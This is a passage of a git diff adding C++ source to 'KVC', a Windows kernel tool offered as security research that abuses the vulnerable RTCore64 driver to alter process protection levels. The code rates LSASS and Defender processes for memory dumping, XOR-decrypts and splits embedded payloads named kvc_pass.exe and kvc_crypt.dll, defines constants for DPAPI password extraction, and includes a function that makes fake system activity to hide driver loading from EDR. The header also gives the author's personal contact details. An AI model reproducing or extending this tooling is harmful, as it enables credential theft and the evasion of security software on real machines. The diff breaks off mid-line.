else { + // Method 2: GetProcessImageFileName fallback + if (GetProcessImageFileNameW(hProcess, imageName, MAX_PATH)) { + const std::wstring fullPath = imageName; + const size_t lastSlash = fullPath.find_last_of(L'\\'); + if (lastSlash != std::wstring::npos) { + processName = fullPath.substr(lastSlash + 1); + } + } + } + CloseHandle(hProcess); + } + + // Method 3: Toolhelp snapshot fallback for system processes + if (processName == L"Unknown") { + const HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapshot != INVALID_HANDLE_VALUE) { + PROCESSENTRY32W pe32; + pe32.dwSize = sizeof(pe32); + + if (Process32FirstW(hSnapshot, &pe32)) { + do { + if (pe32.th32ProcessID == pid) { + processName = pe32.szExeFile; + break; + } + } while (Process32NextW(hSnapshot, &pe32)); + } + CloseHandle(hSnapshot); + } + } + + // Cache the result + g_processCache[pid] = processName; + return processName; + } + + // Static string lookup tables for performance + static constexpr const wchar_t* PROTECTION_LEVELS[] = { + L"None", L"PPL-Authenticode", L"PPL-Antimalware", L"PPL-App", + L"PP-Authenticode", L"PP-Antimalware", L"PP-App", L"PP-Windows" + }; + + static constexpr const wchar_t* SIGNER_TYPES[] = { + L"None", L"Authenticode", L"CodeGen", L"Antimalware", + L"Lsa", L"Windows", L"WinTcb", L"WinSystem", L"App" + }; + + // Multi-method process name resolution with fallbacks + std::wstring GetProcessName(DWORD pid) noexcept + { + if (pid == 0) + return L"System Idle Process"; + if (pid == 4) + return L"System [NT Kernel Core]"; + + static const std::unordered_map knownSystemPids = { + {188, L"Secure System"}, + {232, L"Registry"}, + {3052, L"Memory Compression"}, + {3724, L"Memory Manager"}, + {256, L"VSM Process"}, + {264, L"VBS Process"}, + {288, L"Font Driver Host"}, + {296, L"User Mode Driver Host"} + }; + + if (auto it = knownSystemPids.find(pid); it != knownSystemPids.end()) { + return it->second; + } + + HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ, FALSE, pid); + if (!hProcess) { + hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid); + } + + if (hProcess) { + wchar_t processName[MAX_PATH] = {0}; + DWORD size = MAX_PATH; + + if (QueryFullProcessImageNameW(hProcess, 0, processName, &size)) { + std::wstring fullPath(processName); + size_t lastSlash = fullPath.find_last_of(L'\\'); + if (lastSlash != std::wstring::npos) { + CloseHandle(hProcess); + return fullPath.substr(lastSlash + 1); + } + } + + if (GetProcessImageFileNameW(hProcess, processName, MAX_PATH)) { + std::wstring fullPath(processName); + size_t lastSlash = fullPath.find_last_of(L'\\'); + if (lastSlash != std::wstring::npos) { + CloseHandle(hProcess); + return fullPath.substr(lastSlash + 1); + } + } + CloseHandle(hProcess); + } + + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + if (hSnapshot != INVALID_HANDLE_VALUE) { + PROCESSENTRY32W pe; + pe.dwSize = sizeof(PROCESSENTRY32W); + + if (Process32FirstW(hSnapshot, &pe)) { + do { + if (pe.th32ProcessID == pid) { + CloseHandle(hSnapshot); + return std::wstring(pe.szExeFile); + } + } while (Process32NextW(hSnapshot, &pe)); + } + CloseHandle(hSnapshot); + } + + return L"[Unknown]"; + } + + // Protection level string mappings with static caching + const wchar_t* GetProtectionLevelAsString(UCHAR protectionLevel) noexcept + { + static const std::wstring none = L"None"; + static const std::wstring ppl = L"PPL"; + static const std::wstring pp = L"PP"; + static const std::wstring unknown = L"Unknown"; + + switch (static_cast(protectionLevel)) + { + case PS_PROTECTED_TYPE::None: return none.c_str(); + case PS_PROTECTED_TYPE::ProtectedLight: return ppl.c_str(); + case PS_PROTECTED_TYPE::Protected: return pp.c_str(); + default: return unknown.c_str(); + } + } + + const wchar_t* GetSignerTypeAsString(UCHAR signerType) noexcept + { + static const std::wstring none = L"None"; + static const std::wstring authenticode = L"Authenticode"; + static const std::wstring codegen = L"CodeGen"; + static const std::wstring antimalware = L"Antimalware"; + static const std::wstring lsa = L"Lsa"; + static const std::wstring windows = L"Windows"; + static const std::wstring wintcb = L"WinTcb"; + static const std::wstring winsystem = L"WinSystem"; + static const std::wstring app = L"App"; + static const std::wstring unknown = L"Unknown"; + + switch (static_cast(signerType)) + { + case PS_PROTECTED_SIGNER::None: return none.c_str(); + case PS_PROTECTED_SIGNER::Authenticode: return authenticode.c_str(); + case PS_PROTECTED_SIGNER::CodeGen: return codegen.c_str(); + case PS_PROTECTED_SIGNER::Antimalware: return antimalware.c_str(); + case PS_PROTECTED_SIGNER::Lsa: return lsa.c_str(); + case PS_PROTECTED_SIGNER::Windows: return windows.c_str(); + case PS_PROTECTED_SIGNER::WinTcb: return wintcb.c_str(); + case PS_PROTECTED_SIGNER::WinSystem: return winsystem.c_str(); + case PS_PROTECTED_SIGNER::App: return app.c_str(); + default: return unknown.c_str(); + } + } + + const wchar_t* GetSignatureLevelAsString(UCHAR signatureLevel) noexcept +{ + static const std::wstring none = L"None"; + static const std::wstring authenticode = L"Authenticode"; + static const std::wstring codegen = L"CodeGen"; + static const std::wstring antimalware = L"Antimalware"; + static const std::wstring lsa = L"Lsa"; + static const std::wstring windows = L"Windows"; + static const std::wstring wintcb = L"WinTcb"; + static const std::wstring winsystem = L"WinSystem"; + static const std::wstring app = L"App"; + static const std::wstring unknown = L"Unknown"; + + UCHAR level = signatureLevel & 0x0F; + switch (static_cast(level)) + { + case PS_PROTECTED_SIGNER::None: return none.c_str(); + case PS_PROTECTED_SIGNER::Authenticode: return authenticode.c_str(); + case PS_PROTECTED_SIGNER::CodeGen: return codegen.c_str(); + case PS_PROTECTED_SIGNER::Antimalware: return antimalware.c_str(); + case PS_PROTECTED_SIGNER::Lsa: return lsa.c_str(); + case PS_PROTECTED_SIGNER::Windows: return windows.c_str(); + case PS_PROTECTED_SIGNER::WinTcb: return wintcb.c_str(); + case PS_PROTECTED_SIGNER::WinSystem: return winsystem.c_str(); + case PS_PROTECTED_SIGNER::App: return app.c_str(); + default: return unknown.c_str(); + } +} + + // String to protection level parsing for command line input + std::optional GetProtectionLevelFromString(const std::wstring& protectionLevel) noexcept + { + static const std::unordered_map levels = { + {L"none", static_cast(PS_PROTECTED_TYPE::None)}, + {L"ppl", static_cast(PS_PROTECTED_TYPE::ProtectedLight)}, + {L"pp", static_cast(PS_PROTECTED_TYPE::Protected)} + }; + + std::wstring lower = protectionLevel; + std::transform(lower.begin(), lower.end(), lower.begin(), ::towlower); + + auto it = levels.find(lower); + return (it != levels.end()) ? std::make_optional(it->second) : std::nullopt; + } + + std::optional GetSignerTypeFromString(const std::wstring& signerType) noexcept + { + std::wstring lower = signerType; + std::transform(lower.begin(), lower.end(), lower.begin(), ::towlower); + + if (lower == L"none") return static_cast(PS_PROTECTED_SIGNER::None); + if (lower == L"authenticode") return static_cast(PS_PROTECTED_SIGNER::Authenticode); + if (lower == L"codegen") return static_cast(PS_PROTECTED_SIGNER::CodeGen); + if (lower == L"antimalware") return static_cast(PS_PROTECTED_SIGNER::Antimalware); + if (lower == L"lsa") return static_cast(PS_PROTECTED_SIGNER::Lsa); + if (lower == L"windows") return static_cast(PS_PROTECTED_SIGNER::Windows); + if (lower == L"wintcb") return static_cast(PS_PROTECTED_SIGNER::WinTcb); + if (lower == L"winsystem") return static_cast(PS_PROTECTED_SIGNER::WinSystem); + if (lower == L"app") return static_cast(PS_PROTECTED_SIGNER::App); + + return std::nullopt; + } + + // Comprehensive process dumpability analysis with detailed reasoning + ProcessDumpability CanDumpProcess(DWORD pid, const std::wstring& processName) noexcept + { + ProcessDumpability result; + result.CanDump = false; // Initialize + + // Known undumpable system processes + static const std::unordered_set undumpablePids = { + 4, // System process + 188, // Secure System + 232, // Registry process + 3052 // Memory Compression + }; + + static const std::unordered_set undumpableNames = { + L"System", + L"Secure System", + L"Registry", + L"Memory Compression" + }; + + if (undumpablePids.find(pid) != undumpablePids.end()) + { + result.CanDump = false; + result.Reason = L"System kernel process - undumpable by design"; + return result; + } + + if (undumpableNames.find(processName) != undumpableNames.end()) + { + result.CanDump = false; + + if (processName == L"System") + result.Reason = L"Windows kernel process - cannot be dumped"; + else if (processName == L"Secure System") + result.Reason = L"VSM/VBS protected process - virtualization-based security"; + else if (processName == L"Registry") + result.Reason = L"Kernel registry subsystem - critical system component"; + else if (processName == L"Memory Compression") + result.Reason = L"Kernel memory manager - system critical process"; + else + result.Reason = L"System process - protected by Windows kernel"; + + return result; + } + + // Special case analysis for known processes + if (processName == L"csrss.exe" || processName == L"csrss") + { + result.CanDump = true; + result.Reason = L"CSRSS (Win32 subsystem) - dumpable with PPL-WinTcb or higher protection"; + return result; + } + + if (pid < 100 && pid != 0) + { + result.CanDump = true; + result.Reason = L"Low PID system process - dumping may fail due to protection"; + return result; + } + + if (processName == L"[Unknown]") + { + if (pid < 500) + { + result.CanDump = true; + result.Reason = L"System process with unknown name - may be dumpable with elevated protection"; + } + else + { + result.CanDump = true; + result.Reason = L"Process with unknown name - likely dumpable with appropriate privileges"; + } + return result; + } + + // Pattern-based analysis for virtualization and security software + if (processName.find(L"vmms") != std::wstring::npos || + processName.find(L"vmwp") != std::wstring::npos || + processName.find(L"vmcompute") != std::wstring::npos) + { + result.CanDump = true; + result.Reason = L"Hyper-V process - may require elevated protection to dump"; + return result; + } + + if (processName.find(L"MsMpEng") != std::wstring::npos || + processName.find(L"NisSrv") != std::wstring::npos || + processName.find(L"SecurityHealthService") != std::wstring::npos) + { + result.CanDump = true; + result.Reason = L"Security software - may require Antimalware protection level to dump"; + return result; + } + + if (processName == L"lsass.exe" || processName == L"lsass") + { + result.CanDump = true; + result.Reason = L"LSASS process - typically protected, may require PPL-WinTcb or higher"; + return result; + } + + result.CanDump = true; + result.Reason = L"Standard user process - should be dumpable with appropriate privileges"; + return result; + } + + // Universal hex string converter - handles registry exports, debug output, and various formats + bool HexStringToBytes(const std::wstring& hexString, std::vector& bytes) noexcept + { + if (hexString.empty()) { + bytes.clear(); + return true; + } + + // Handle common prefixes: 0x, 0X + size_t startPos = 0; + if (hexString.length() >= 2 && hexString[0] == L'0' && + (hexString[1] == L'x' || hexString[1] == L'X')) { + startPos = 2; + } + + // Build clean hex string - filter out common separators + std::wstring cleanHex; + cleanHex.reserve(hexString.length()); + + for (size_t i = startPos; i < hexString.length(); ++i) { + wchar_t c = hexString[i]; + if ((c >= L'0' && c <= L'9') || + (c >= L'a' && c <= L'f') || + (c >= L'A' && c <= L'F')) { + cleanHex += c; + } + // Skip: spaces, tabs, commas, hyphens, backslashes, newlines + } + + // Must have even number of hex digits + if (cleanHex.length() % 2 != 0) { + return false; + } + + // Efficient conversion + bytes.clear(); + bytes.reserve(cleanHex.length() / 2); + + for (size_t i = 0; i < cleanHex.length(); i += 2) { + BYTE value = 0; + + // High nibble + wchar_t h = cleanHex[i]; + if (h >= L'0' && h <= L'9') value = (h - L'0') << 4; + else if (h >= L'a' && h <= L'f') value = (h - L'a' + 10) << 4; + else if (h >= L'A' && h <= L'F') value = (h - L'A' + 10) << 4; + + // Low nibble + wchar_t l = cleanHex[i + 1]; + if (l >= L'0' && l <= L'9') value |= (l - L'0'); + else if (l >= L'a' && l <= L'f') value |= (l - L'a' + 10); + else if (l >= L'A' && l <= L'F') value |= (l - L'A' + 10); + + bytes.push_back(value); + } + + return true; + } + + // Fast hex validation without conversion + bool IsValidHexString(const std::wstring& hexString) noexcept + { + if (hexString.empty()) return true; + + size_t startPos = 0; + if (hexString.length() >= 2 && hexString[0] == L'0' && + (hexString[1] == L'x' || hexString[1] == L'X')) { + startPos = 2; + } + + size_t hexCount = 0; + for (size_t i = startPos; i < hexString.length(); ++i) { + wchar_t c = hexString[i]; + if ((c >= L'0' && c <= L'9') || + (c >= L'a' && c <= L'f') || + (c >= L'A' && c <= L'F')) { + ++hexCount; + } + // Skip whitespace and separators + } + + return (hexCount % 2 == 0); // Must have even number of hex digits + } + + // PE parsing utility - determine exact file length by analyzing headers and sections + std::optional GetPEFileLength(const std::vector& data, size_t offset) noexcept + { + try { + // Validate minimum DOS header size + if (data.size() < offset + 0x40) { + return std::nullopt; + } + + // Check DOS signature "MZ" + if (data[offset] != 'M' || data[offset + 1] != 'Z') { + return std::nullopt; + } + + // Get PE header offset from DOS header e_lfanew field (offset 0x3C) + DWORD e_lfanew; + std::memcpy(&e_lfanew, &data[offset + 0x3C], sizeof(DWORD)); + + size_t pe_header_offset = offset + e_lfanew; + if (pe_header_offset + 6 > data.size()) { + return std::nullopt; + } + + // Check PE signature "PE\0\0" + if (data[pe_header_offset] != 'P' || data[pe_header_offset + 1] != 'E' || + data[pe_header_offset + 2] != 0 || data[pe_header_offset + 3] != 0) { + return std::nullopt; + } + + // Get number of sections and optional header size + WORD number_of_sections; + WORD size_of_optional_header; + std::memcpy(&number_of_sections, &data[pe_header_offset + 6], sizeof(WORD)); + std::memcpy(&size_of_optional_header, &data[pe_header_offset + 20], sizeof(WORD)); + + // Calculate section table offset + size_t section_table_offset = pe_header_offset + 24 + size_of_optional_header; + constexpr size_t section_header_size = 40; + + size_t max_end = 0; + + // Parse each section header to find maximum file extent + for (WORD i = 0; i < number_of_sections; ++i) { + size_t sh_offset = section_table_offset + i * section_header_size; + if (sh_offset + 40 > data.size()) { + return std::nullopt; // Incomplete section table + } + + // Get SizeOfRawData (offset +16) and PointerToRawData (offset +20) + DWORD size_of_raw, pointer_to_raw; + std::memcpy(&size_of_raw, &data[sh_offset + 16], sizeof(DWORD)); + std::memcpy(&pointer_to_raw, &data[sh_offset + 20], sizeof(DWORD)); + + if (pointer_to_raw == 0) { + continue; // Skip sections without raw data + } + + size_t section_end = pointer_to_raw + size_of_raw; + if (section_end > max_end) { + max_end = section_end; + } + } + + if (max_end > 0) { + // Ensure we include all headers + size_t header_end = section_table_offset + number_of_sections * section_header_size; + size_t file_end = std::max(max_end, header_end); + return std::min(file_end, data.size()); + } + + return std::nullopt; + + } catch (...) { + return std::nullopt; + } + } + + // Split combined PE binary into separate components using intelligent parsing + bool SplitCombinedPE(const std::vector& combined, + std::vector& first, + std::vector& second) noexcept + { + try { + if (combined.empty()) { + return false; + } + + // Try to determine exact size of first PE file + auto first_size = GetPEFileLength(combined, 0); + + if (!first_size.has_value() || first_size.value() <= 0 || first_size.value() >= combined.size()) { + // Fallback: search for next "MZ" signature after reasonable offset + constexpr size_t search_start = 0x200; + size_t search_offset = (combined.size() > search_start) ? search_start : 1; + + // Look for next MZ header + for (size_t i = search_offset; i < combined.size() - 1; ++i) { + if (combined[i] == 'M' && combined[i + 1] == 'Z') { + first_size = i; + break; + } + } + + // If still no valid split found, use entire data as first file + if (!first_size.has_value()) { + first_size = combined.size(); + } + } + + // Split the data + size_t split_point = first_size.value(); + + // Extract first PE file (kvc_pass.exe) + first.clear(); + first.reserve(split_point); + first.assign(combined.begin(), combined.begin() + split_point); + + // Extract second PE file (kvc_crypt.dll) - remainder of data + second.clear(); + if (split_point < combined.size()) { + second.reserve(combined.size() - split_point); + second.assign(combined.begin() + split_point, combined.end()); + } + + return true; + + } catch (...) { + first.clear(); + second.clear(); + return false; + } + } + + // XOR decryption using repeating key pattern (same as driver decryption) + std::vector DecryptXOR(const std::vector& encryptedData, + const std::array& key) noexcept + { + try { + if (encryptedData.empty()) { + return {}; + } + + std::vector decryptedData; + decryptedData.reserve(encryptedData.size()); + + // XOR decryption with repeating key pattern + for (size_t i = 0; i < encryptedData.size(); ++i) { + BYTE decrypted_byte = encryptedData[i] ^ key[i % key.size()]; + decryptedData.push_back(decrypted_byte); + } + + return decryptedData; + + } catch (...) { + return {}; + } + } +} \ No newline at end of file diff --git a/kvc/Utils.h b/kvc/Utils.h new file mode 100644 index 0000000..ddf9498 --- /dev/null +++ b/kvc/Utils.h @@ -0,0 +1,90 @@ +#pragma once + +#include "common.h" +#include +#include +#include +#include +#include + +namespace Utils +{ + // String and numeric parsing utilities + std::optional ParsePid(const std::wstring& pidStr) noexcept; + bool IsNumeric(const std::wstring& str) noexcept; + + // Resource and file operations + std::vector ReadFile(const std::wstring& path); + std::vector ReadResource(int resourceId, const wchar_t* resourceType); + bool WriteFile(const std::wstring& path, const std::vector& data); + + // Advanced process name resolution + std::wstring ResolveUnknownProcessLocal(DWORD pid, ULONG_PTR kernelAddress, UCHAR protectionLevel, UCHAR signerType) noexcept; + + // Kernel operations with inline optimizations + std::optional GetKernelBaseAddress() noexcept; + + constexpr ULONG_PTR GetKernelAddress(ULONG_PTR base, DWORD offset) noexcept + { + return base + offset; + } + + constexpr UCHAR GetProtectionLevel(UCHAR protection) noexcept + { + return protection & 0x07; + } + + constexpr UCHAR GetSignerType(UCHAR protection) noexcept + { + return (protection & 0xf0) >> 4; + } + + constexpr UCHAR GetProtection(UCHAR protectionLevel, UCHAR signerType) noexcept + { + return (signerType << 4) | protectionLevel; + } + + constexpr UCHAR GetSignatureLevelValue(UCHAR signatureLevel) noexcept + { + return signatureLevel & 0x0F; + } + + constexpr UCHAR GetSectionSignatureLevelValue(UCHAR sectionSignatureLevel) noexcept + { + return sectionSignatureLevel & 0x0F; + } + + // String conversion functions with static caching + const wchar_t* GetProtectionLevelAsString(UCHAR protectionLevel) noexcept; + const wchar_t* GetSignerTypeAsString(UCHAR signerType) noexcept; + const wchar_t* GetSignatureLevelAsString(UCHAR signatureLevel) noexcept; + + // Parsing functions for command-line input + std::optional GetProtectionLevelFromString(const std::wstring& protectionLevel) noexcept; + std::optional GetSignerTypeFromString(const std::wstring& signerType) noexcept; + std::optional GetSignatureLevel(UCHAR signerType) noexcept; + std::optional GetSectionSignatureLevel(UCHAR signerType) noexcept; + + // Process operations with comprehensive dumpability analysis + std::wstring GetProcessName(DWORD pid) noexcept; + + struct ProcessDumpability + { + bool CanDump; + std::wstring Reason; + }; + + ProcessDumpability CanDumpProcess(DWORD pid, const std::wstring& processName) noexcept; + + // Hex string processing utilities for kernel tools + bool HexStringToBytes(const std::wstring& hexString, std::vector& bytes) noexcept; + bool IsValidHexString(const std::wstring& hexString) noexcept; + + // PE parsing and binary manipulation utilities + std::optional GetPEFileLength(const std::vector& data, size_t offset = 0) noexcept; + bool SplitCombinedPE(const std::vector& combined, + std::vector& first, + std::vector& second) noexcept; + std::vector DecryptXOR(const std::vector& encryptedData, + const std::array& key) noexcept; +} \ No newline at end of file diff --git a/kvc/common.cpp b/kvc/common.cpp new file mode 100644 index 0000000..8dce31c --- /dev/null +++ b/kvc/common.cpp @@ -0,0 +1,293 @@ +/******************************************************************************* + _ ____ ______ + | |/ /\ \ / / ___| + | ' / \ \ / / | + | . \ \ V /| |___ + |_|\_\ \_/ \____| + +The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, +offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived +as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation +of kernel-level primitives** for legitimate security research and penetration testing. + +KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows +security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware +Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures +that define these protections. + + ----------------------------------------------------------------------------- + Author : Marek Wesołowski + Email : marek@wesolowski.eu.org + Phone : +48 607 440 283 (Tel/WhatsApp) + Date : 04-09-2025 + +*******************************************************************************/ + +// common.cpp - Core system utilities and dynamic API management +// Implements service management, system path resolution, and Windows API abstraction + +#include "common.h" +#include "ServiceManager.h" +#include + +// Link essential Windows libraries for kernel and service operations +#pragma comment(lib, "shlwapi.lib") +#pragma comment(lib, "psapi.lib") +#pragma comment(lib, "DbgHelp.lib") +#pragma comment(lib, "Shell32.lib") +#pragma comment(lib, "Advapi32.lib") + +// Global interrupt flag for graceful shutdown handling +volatile bool g_interrupted = false; + +// Service mode flag - indicates NT service execution context +bool g_serviceMode = false; + +// Dynamic API loading globals for service and driver management +// Using smart pointers for automatic cleanup and exception safety +ModuleHandle g_advapi32; +SystemModuleHandle g_kernel32; + +// Function pointers for Windows Service Control Manager APIs +decltype(&CreateServiceW) g_pCreateServiceW = nullptr; +decltype(&OpenServiceW) g_pOpenServiceW = nullptr; +decltype(&StartServiceW) g_pStartServiceW = nullptr; +decltype(&DeleteService) g_pDeleteService = nullptr; +decltype(&CreateFileW) g_pCreateFileW = nullptr; +decltype(&ControlService) g_pControlService = nullptr; + +// Initialize dynamic API loading for service management operations +// Returns: true if all required APIs successfully loaded, false on failure +bool InitDynamicAPIs() noexcept +{ + // Load advapi32.dll only once using lazy initialization + if (!g_advapi32) { + HMODULE raw_advapi32 = LoadLibraryA("advapi32.dll"); + if (!raw_advapi32) { + DEBUG(L"Failed to load advapi32.dll: %d", GetLastError()); + return false; + } + + // Wrap raw handle in smart pointer for automatic cleanup + g_advapi32.reset(raw_advapi32); + + // Resolve all required service management functions + g_pCreateServiceW = reinterpret_cast( + GetProcAddress(g_advapi32.get(), "CreateServiceW")); + + g_pOpenServiceW = reinterpret_cast( + GetProcAddress(g_advapi32.get(), "OpenServiceW")); + + g_pStartServiceW = reinterpret_cast( + GetProcAddress(g_advapi32.get(), "StartServiceW")); + + g_pDeleteService = reinterpret_cast( + GetProcAddress(g_advapi32.get(), "DeleteService")); + + g_pControlService = reinterpret_cast( + GetProcAddress(g_advapi32.get(), "ControlService")); + + if (!g_pCreateServiceW || !g_pOpenServiceW || !g_pStartServiceW || + !g_pDeleteService || !g_pControlService) { + DEBUG(L"Failed to resolve advapi32 function pointers"); + return false; + } + } + + // Load kernel32.dll functions (system modules don't need manual free) + if (!g_kernel32) { + HMODULE raw_kernel32 = GetModuleHandleA("kernel32.dll"); + if (raw_kernel32) { + g_kernel32.reset(raw_kernel32); + + g_pCreateFileW = reinterpret_cast( + GetProcAddress(g_kernel32.get(), "CreateFileW")); + + if (!g_pCreateFileW) { + DEBUG(L"Failed to resolve kernel32 CreateFileW"); + return false; + } + } else { + DEBUG(L"Failed to get kernel32.dll handle: %d", GetLastError()); + return false; + } + } + + // Verify all function pointers are valid before proceeding + return g_pCreateServiceW && g_pOpenServiceW && g_pStartServiceW && + g_pDeleteService && g_pCreateFileW && g_pControlService; +} + +// RAII wrapper for SC_HANDLE management to prevent resource leaks +class ServiceHandle { +private: + SC_HANDLE handle_; + +public: + explicit ServiceHandle(SC_HANDLE handle = nullptr) noexcept : handle_(handle) {} + + ~ServiceHandle() noexcept { + if (handle_) { + CloseServiceHandle(handle_); + } + } + + // Move semantics for efficient transfer of ownership + ServiceHandle(ServiceHandle&& other) noexcept : handle_(other.handle_) { + other.handle_ = nullptr; + } + + ServiceHandle& operator=(ServiceHandle&& other) noexcept { + if (this != &other) { + if (handle_) { + CloseServiceHandle(handle_); + } + handle_ = other.handle_; + other.handle_ = nullptr; + } + return *this; + } + + // Non-copyable for safety - prevents double-close bugs + ServiceHandle(const ServiceHandle&) = delete; + ServiceHandle& operator=(const ServiceHandle&) = delete; + + // Access operators for SC_HANDLE compatibility + operator SC_HANDLE() const noexcept { return handle_; } + explicit operator bool() const noexcept { return handle_ != nullptr; } + SC_HANDLE get() const noexcept { return handle_; } +}; + +// Check if KVC service is installed in the system +// Returns: true if service registry entry exists, false otherwise +bool IsServiceInstalled() noexcept +{ + if (!InitDynamicAPIs()) { + DEBUG(L"InitDynamicAPIs failed in IsServiceInstalled"); + return false; + } + + // Connect to Service Control Manager with minimal privileges + ServiceHandle scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT)); + if (!scm) { + DEBUG(L"OpenSCManager failed: %d", GetLastError()); + return false; + } + + // Attempt to open the service for status query + ServiceHandle service(g_pOpenServiceW(scm, ServiceManager::SERVICE_NAME, SERVICE_QUERY_STATUS)); + + // Service exists if we can open it successfully + return static_cast(service); +} + +// Check if KVC service is currently running +// Returns: true if service state is SERVICE_RUNNING, false otherwise +bool IsServiceRunning() noexcept +{ + if (!InitDynamicAPIs()) { + DEBUG(L"InitDynamicAPIs failed in IsServiceRunning"); + return false; + } + + // Connect to Service Control Manager + ServiceHandle scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT)); + if (!scm) { + DEBUG(L"OpenSCManager failed: %d", GetLastError()); + return false; + } + + // Open service with query privileges + ServiceHandle service(g_pOpenServiceW(scm, ServiceManager::SERVICE_NAME, SERVICE_QUERY_STATUS)); + if (!service) { + DEBUG(L"OpenService failed: %d", GetLastError()); + return false; + } + + // Query current service status + SERVICE_STATUS status{}; + if (!QueryServiceStatus(service, &status)) { + DEBUG(L"QueryServiceStatus failed: %d", GetLastError()); + return false; + } + + // Check for running state specifically + return (status.dwCurrentState == SERVICE_RUNNING); +} + +// Get full path to current executable for service installation +// Returns: Wide string path to current EXE, empty string on failure +std::wstring GetCurrentExecutablePath() noexcept +{ + wchar_t path[MAX_PATH]; + if (GetModuleFileNameW(nullptr, path, MAX_PATH) == 0) { + DEBUG(L"GetModuleFileNameW failed: %d", GetLastError()); + return L""; + } + return std::wstring(path); +} + +// Get kernel driver service name for RTCore64 operations +// Returns: Wide string containing driver service identifier +std::wstring GetServiceName() noexcept +{ + return L"RTCore64"; +} + +// Get kernel driver filename for file operations +// Returns: Wide string containing driver file name +std::wstring GetDriverFileName() noexcept +{ + return L"kvc.sys"; +} + +// Get secure system temp directory for DPAPI and driver operations +// Uses Windows temp directory with TrustedInstaller privileges +// Returns: Wide string path to system temp directory +std::wstring GetSystemTempPath() noexcept { + wchar_t windowsDir[MAX_PATH]; + + // Primary: Use Windows\Temp directory (accessible by TrustedInstaller) + if (GetWindowsDirectoryW(windowsDir, MAX_PATH) > 0) { + std::wstring result = windowsDir; + return result + L"\\Temp"; + } + + // Fallback: Use user temp directory + wchar_t tempDir[MAX_PATH]; + if (GetTempPathW(MAX_PATH, tempDir) > 0) { + return std::wstring(tempDir); + } + + // Last resort: Hardcoded fallback path + return L"C:\\Windows\\Temp"; +} + +// Generate innocuous system activity to mask driver operations from EDR +// Creates legitimate registry access and file enumeration patterns +// Purpose: Blend driver loading with normal Windows background activity +void GenerateFakeActivity() noexcept +{ + // Registry access to common Windows version key (normal behavior) + HKEY hKey; + if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, + L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion", + 0, KEY_READ, &hKey) == ERROR_SUCCESS) { + RegCloseKey(hKey); + } + + // File enumeration in System32 directory (typical for system tools) + wchar_t systemDir[MAX_PATH]; + if (GetSystemDirectoryW(systemDir, MAX_PATH) > 0) { + WIN32_FIND_DATAW findData; + std::wstring system32Pattern = std::wstring(systemDir) + L"\\*.dll"; + + HANDLE hFind = FindFirstFileW(system32Pattern.c_str(), &findData); + if (hFind != INVALID_HANDLE_VALUE) { + FindClose(hFind); + } + } + + // Random delay to vary timing patterns (anti-detection measure) + Sleep(50 + (GetTickCount() % 100)); +} \ No newline at end of file diff --git a/kvc/common.h b/kvc/common.h new file mode 100644 index 0000000..4e2b424 --- /dev/null +++ b/kvc/common.h @@ -0,0 +1,213 @@ +#pragma once + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifdef BUILD_DATE + #define __DATE__ BUILD_DATE +#endif + +#ifdef BUILD_TIME + #define __TIME__ BUILD_TIME +#endif + +#define kvc_DEBUG_ENABLED 0 + +#ifdef ERROR +#undef ERROR +#endif + +// Smart module handle management +struct ModuleDeleter { + void operator()(HMODULE mod) const noexcept { + if (mod) { + FreeLibrary(mod); + } + } +}; + +struct SystemModuleDeleter { + void operator()(HMODULE) const noexcept { + // System modules obtained via GetModuleHandle don't need to be freed + } +}; + +using ModuleHandle = std::unique_ptr, ModuleDeleter>; +using SystemModuleHandle = std::unique_ptr, SystemModuleDeleter>; + +// Logging system with message formatting +template +void PrintMessage(const wchar_t* prefix, const wchar_t* format, Args&&... args) +{ + std::wstringstream ss; + ss << prefix; + + if constexpr (sizeof...(args) == 0) + { + ss << format; + } + else + { + wchar_t buffer[1024]; + swprintf_s(buffer, format, std::forward(args)...); + ss << buffer; + } + + ss << L"\r\n"; + std::wcout << ss.str(); +} + +#if kvc_DEBUG_ENABLED + #define DEBUG(format, ...) PrintMessage(L"[DEBUG] ", format, __VA_ARGS__) +#else + #define DEBUG(format, ...) do {} while(0) +#endif + +#define ERROR(format, ...) PrintMessage(L"[-] ", format, __VA_ARGS__) +#define INFO(format, ...) PrintMessage(L"[*] ", format, __VA_ARGS__) +#define SUCCESS(format, ...) PrintMessage(L"[+] ", format, __VA_ARGS__) + +#define LASTERROR(f) \ + do { \ + wchar_t buf[256]; \ + swprintf_s(buf, L"[-] The function '%s' failed with error code 0x%08x.\r\n", L##f, GetLastError()); \ + std::wcout << buf; \ + } while(0) + +// Windows protection type definitions +enum class PS_PROTECTED_TYPE : UCHAR +{ + None = 0, + ProtectedLight = 1, + Protected = 2 +}; + +enum class PS_PROTECTED_SIGNER : UCHAR +{ + None = 0, + Authenticode = 1, + CodeGen = 2, + Antimalware = 3, + Lsa = 4, + Windows = 5, + WinTcb = 6, + WinSystem = 7, + App = 8, + Max = 9 +}; + +// Service-related constants +namespace ServiceConstants { + constexpr const wchar_t* SERVICE_NAME = L"KernelVulnerabilityControl"; + constexpr const wchar_t* SERVICE_DISPLAY_NAME = L"Kernel Vulnerability Capabilities Framework"; + constexpr const wchar_t* SERVICE_PARAM = L"--service"; + + // Keyboard hook settings + constexpr int CTRL_SEQUENCE_LENGTH = 5; + constexpr DWORD CTRL_SEQUENCE_TIMEOUT_MS = 2000; + constexpr DWORD CTRL_DEBOUNCE_MS = 50; +} + +// DPAPI constants for password extraction +namespace DPAPIConstants { + constexpr int SQLITE_OK = 0; + constexpr int SQLITE_ROW = 100; + constexpr int SQLITE_DONE = 101; + constexpr int 